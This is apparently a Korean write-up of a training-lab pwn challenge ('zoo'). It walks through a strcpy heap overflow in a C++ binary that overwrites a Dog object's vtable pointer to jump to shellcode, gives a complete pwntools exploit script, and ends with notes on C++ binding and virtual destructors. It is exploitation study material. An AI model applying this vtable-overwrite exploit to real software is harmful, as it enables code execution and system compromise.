문제


zoo 바이너리의 checksec 결과는 다음과 같다.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

file 명령어의 결과는 다음과 같다.

zoo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=792e7559f5ba138f88d91fb589692d803a582b92, not stripped

바이너리 코드

adddog()

unsigned __int64 adddog(void)
{
  ...

  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string((__int64)&v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Name : ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&edata, &v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "Weight : ");
  std::istream::operator>>(&edata, &v2);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v6, &v5);
  v0 = operator new(0x28uLL);
  Dog::Dog(v0, (__int64)&v6, v2);
  v4 = v0;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v6);
  v3 = v4;
  std::vector<Animal *,std::allocator<Animal *>>::push_back((__int64)&animallist, (__int64)&v3);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v5);
  ...
}

Dog::Dog()

__int64 __fastcall Dog::Dog(__int64 a1, __int64 a2, int a3)
{
  ...

  v3 = a3;
  Animal::Animal((Animal *)a1);
  *(_QWORD *)a1 = off_403140;
  v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a2);
  strcpy((char *)(a1 + 8), v4);
  result = a1;
  *(_DWORD *)(a1 + 32) = v3;
  return result;
}

c++ 코드라 보기 그지 같아서 그렇지 하는 행위는 간단하다.
adddog() 함수는 basic string 객체에 dog의 이름을 입력받고 cin을 통해서 wegith를 입력받는다.
그 다음 40바이트를 new 함수를 통해서 할당하고 이 위치를 이용해서 DOG 객체를 생성한다. DOG 객체의 생성자는 인자로 들어온 메모리 공간의 첫 8바이트에 DOG 클래스의 vtable 주소를 저장한다. 이후 두 번째 인자인 name을 strcpy를 통해서 이후의 공간에 저장한다. 여기에 buffer overflow 취약점이 존재한다. 그 다음 첫 번째 인자로 들어온 공간의 마지막 8바이트에 인자로 들어온 weight 값을 저장한다.
DOG 객체 생성 후 animallist 변수를 이용해서 vector 객체를 생성한다.

adddog() 함수를 두 번 호출한 뒤 힙 영역을 보면 다음과 같다.

첫 번째 dog =>          0xc60c60:	0x00000000	0x00000000	0x00000031	0x00000000
                        0xc60c70:	0x00403140	0x00000000	0x775f6168	0x65656565
                        0xc60c80:	0x5e656565	0x5e5f5f5f	0x00000000	0x00000000
vector (animallist) =>  0xc60c90:	0x00000041	0x00000000	0x00000021	0x00000000
                        0xc60ca0:	0x00c60c70	0x00000000	0x00c60cc0	0x00000000
두 번째 dog =>          0xc60cb0:	0x00000000	0x00000000	0x00000031	0x00000000
                        0xc60cc0:	0x00403140	0x00000000	0x775f6162	0x65656565
                        0xc60cd0:	0x5e656565	0x5e5f5f5f	0x00000000	0x00000000

exploit 방법

  1. zoo를 처음 실행하면 nameofzoo 변수에 0x64 만큼 입력을 받는다. NX가 꺼져있고 해당 영역에 실행 권한이 있다. 따라서 여기에 쉘코드를 삽입한다.
  2. 첫 번째 dog를 remove 한 뒤 다시 생성하고 bof를 이용해서 두 번째 dog의 vtable을 overwrite한다.
  3. listen() 함수를 이용해서 두 번째 dog가 overwrite 된 vtable을 참조하도록 한다.

주의할 점1
c++의 cin에서 0x20 (space)을 입력의 끝으로 생각한다. (0x20 대신에 NULL 값을 삽입해버린다.) 여기서 nameofzoo의 위치가 0x20으로 끝나기 때문에 두 번째 dog의 vtable을 nameofzoo의 맨 앞을 가리키도록 하면 입력이 끝까지 들어가지 않는다.

주의할 점2
c++ basic string은 그지 같이 동작하는데 (string 길이+1)이 DWORD size * 2 이하인 경우에는 stack에 해당 string을 저장하고 string의 길이가 저것보다 더 길면 heap에 메모리를 할당하고 해당 메모리에 string을 저장한다.

주의할 점3
vector 객체는 push_back() 메소드를 호출하면 새로운 vector를 할당한 후에 복사한다.

vector 참조 : https://dokydoky.tistory.com/453

풀이


#!/usr/bin/python

from pwn import *

def adddog(name,weight):
	p.recvuntil("choice :")
	p.sendline("1")
	p.recvuntil("\n")
	p.recvuntil("Name : ")
	p.sendline(name)
	p.recvuntil("Weight : ")
	p.sendline(weight)

def listen(index):
	p.recvuntil("choice :")
	p.sendline("3")
	p.recvuntil("\n")
	p.recvuntil("animal : ")
	p.sendline(index)

def remove(index):
	p.recvuntil("choice :")
        p.sendline("5")
        p.recvuntil("\n")
	p.recvuntil("animal : ")
	p.sendline(index)

file_path="/home/sungyun/round4/lab15/zoo"

context(arch="x86_64",os="linux")
shellcode = asm(shellcraft.sh())

nameofzoo=0x605420

p=process(file_path)

p.recvuntil("zoo :")
p.sendline("A"*8+p64(nameofzoo+16)+p64(nameofzoo+24)+"\x90"*10+shellcode)

adddog("ha_weeeeeee^___^","65")
adddog("ba_weeeeeee^___^","75")

remove("0")

pay="A"*40
pay+=p64(nameofzoo+8)

adddog(pay,"100")

listen("0")

p.interactive()

c++ 내용 정리


바인딩

  • 프로그램 소스에 쓰인 각종 내부 요소, 이름 식별자들에 대해 값 또는 속성을 확정하는 과정을 바인딩이라 함
  • 정적 바인딩
    • 컴파일 시점에 값, 속성 등이 결정됨
  • 동적 바인딩
    • 런타임에 성격이 결정된다.
    • virtual 키워드가 붙는 경우 동적 바인딩을 한다.

오버로딩

  • 동일한 클래스 내에서 같은 이름의 함수를 여러 번 정의 하는 것 (다른 매개 변수를 가진 같은 이름의 여러 함수를 만드는 것)

오버라이딩

  • 상속 관게에서 기본 클래스의 메소드를 파생 클래스에서 재정의 하는 것 (상속 오버라이딩과 가상 함수를 이용한 방법이 있다.)

가상 소멸자

class Base{
public:
    ~Base() {
        cout << "Base destructor!" << endl;
    }
};

class Derived : public Base{
public:
    char* largeBuffer;
    Derived() {
        largeBuffer = new char[3000];
    }

    ~Derived() {
        cout << "Derived destructor!" << endl;
        delete[] largeBuffer;
    }
};
int main(){
    //코드1
    cout << "---Derived* der1 = new Derived()---" << endl;
    Derived* der1 = new Derived();
    delete der1;

    //코드2
    cout << "\n\n---Base* der2 = new Derived()---" << endl;
    Base* der2 = new Derived();
    delete der2;

}

위의 경우에 출력 결과는 다음과 같다.

---Derived* der1 = new Derived()---
Derived destructor!
Base destructor!

---Base* der2 = new Derived()---
Base destructor!

즉, 코드1에서는 Drived class의 소멸자가 알아서 Base Class의 소멸자를 불러줘서 buffer가 잘 delete 됐지만 코드2의 경우에는 Derived class의 소멸자가 호출되지 않는다. 따라서 buffer가 delete 되지 않고 어딘가에 남아있게 된다. (이는 Base 포인터가 Derived 클래스의 인스턴스를 가리키고 있지만 Derived의 멤버에 접근할 수 없기 때문)

class Base{
public:
    virtual ~Base() {
        cout << "Base destructor!" << endl;
    }
};

가상 소멸자를 이용하면 이런 상황에서 메모리가 누수되는 것을 막을 수 있다. 위와 같이 Base 소멸자를 virtual로 설정하면 코드2의 경우에서도 Derived class의 소멸자가 호출된다.

참조 : https://hashcode.co.kr/questions/323/%EA%B0%80%EC%83%81-%EC%86%8C%EB%A9%B8%EC%9E%90%EB%8A%94-%EC%96%B4%EB%96%A4-%EA%B2%BD%EC%9A%B0%EC%97%90-%EC%93%B0%EB%8A%94-%EA%B1%B4%EA%B0%80%EC%9A%94